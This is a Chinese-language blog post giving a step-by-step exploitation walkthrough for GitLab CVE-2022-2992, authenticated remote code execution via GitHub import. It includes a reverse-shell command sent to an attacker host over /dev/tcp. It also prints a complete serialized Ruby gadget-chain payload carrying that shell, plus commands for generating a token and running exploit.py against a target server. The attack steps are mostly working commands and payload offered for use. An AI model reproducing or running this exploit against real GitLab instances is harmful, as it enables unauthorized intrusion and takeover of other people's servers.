gitlab 命令执行漏洞(CVE-2022-2992)

1.漏洞影响版本

GitLab CE/EE 中的一个漏洞影响从 11.10 开始到 15.1.6 之前的所有版本、从 15.2 开始到 15.2.4 之前的所有版本、从 15.3 开始到 15.3.2 之前的所有版本。允许经过身份验证的用户通过从 GitHub API 端点导入实现远程代码执行。

查看 gitlab 版本。(登录后才能看到)

http://xxx/api/v4/version

2.漏洞工具

https://github.com/CsEnox/CVE-2022-2992#expected-output-in-each-window

装一下工具环境

bash 复制代码
sudo apt install ruby python3 python3-pip
gem install redis (一般这个都没装)
pip install flask

3.漏洞利用

1.现在要生成序列化的有效负载,请运行Payload_gen.rb并保存有效负载。下面是一个例子:

ruby payload_gen.rb 'bash -c "sh -i >& /dev/tcp/xxx29/443 0>&1"'

2.在server.py中相应地更新 NGROK_URL 和 PAYLOAD 变量。下面是一个例子:

(NGROK_URL替换为攻击机所在vpsip。)

bash 复制代码
PAYLOAD = 'ggg\r\n*3\r\n$3\r\nset\r\n$19\r\nsession:gitlab:gggg\r\n$359\r\n\u0004\b[\bc\u0015Gem::SpecFetcherc\u0013Gem::InstallerU:\u0015Gem::Requirement[\u0006o:\u001cGem::Package::TarReader\u0006:\b@ioo:\u0014Net::BufferedIO\u0007;\u0007o:#Gem::Package::TarReader::Entry\u0007:\n@readi\u0000:\f@headerI\"\baaa\u0006:\u0006ET:\u0012@debug_outputo:\u0016Net::WriteAdapter\u0007:\f@socketo:\u0014Gem::RequestSet\u0007:\n@setso;\u000e\u0007;\u000fm\u000bKernel:\u000f@method_id:\u000bsystem:\r@git_setI\"8bash -c \"sh -i >& /dev/tcp/xxx29/443 0>&1\"\u0006;\fT;\u0012:\fresolve'
NGROK_URL = 'http://vpsip:5000'

3.注册 gitlab 账号,在 gitlab 上为用户创建访问令牌并选择所有范围。

http://xxxxx/-/profile/personal_access_tokens

4.运行exploit.py注意,这里直接在vps 运行,可以省略使用工具中提到的ngrok工具做内网穿透,实测使用ngrok做内网穿透也会有访问上的问题,强烈推荐直接使用vps 运行 exploit.py

bash 复制代码
python3 exploit.py -a ZjY4CzUxxxxx -u http://vpsip:5000 -t http://www.gitlab.com:4567/

5.命令执行成功。

相关推荐
Echoo华地9 小时前
GitLab升级后仓库镜像信任证书导入问题
证书·gitlab·trust store·certificate·信任库·仓库镜像
一念一花一世界16 小时前
DevOps实战(4) - 使用Arbess+GitLab+SourceFare实现Java项目自动化部署
gitlab·tiklab·arbess·开源cicd工具·sourcefare
赵孝正17 小时前
GitLab 分支管理与 Push 问题全解析
大数据·elasticsearch·gitlab
wjs0401 天前
Git常用的命令
java·git·gitlab
至善迎风1 天前
版本管理系统与平台(权威资料核对、深入解析、行业选型与国产平台补充)
git·gitee·gitlab·github·svm
高旭的旭1 天前
Gitlab 配置自定义 clone 地址
svn·ssh·gitlab·code
一念一花一世界2 天前
DevOps实战(3) - 使用Arbess+GitLab+Hadess实现Java项目自动化部署
gitlab·jenkins·tiklab·arbess·开源cicd工具
faimi3 天前
🚀程序员必收藏!最全Git命令手册:解决90%团队协作难题
前端·gitlab
rivercoder3 天前
Gitea:轻量级的自托管Git服务
git·gitlab·gitea
运维开发王义杰4 天前
信息安全:GitLab与AWS OIDC集成的深度解析,IAM信任策略中的条件配置
云计算·gitlab·aws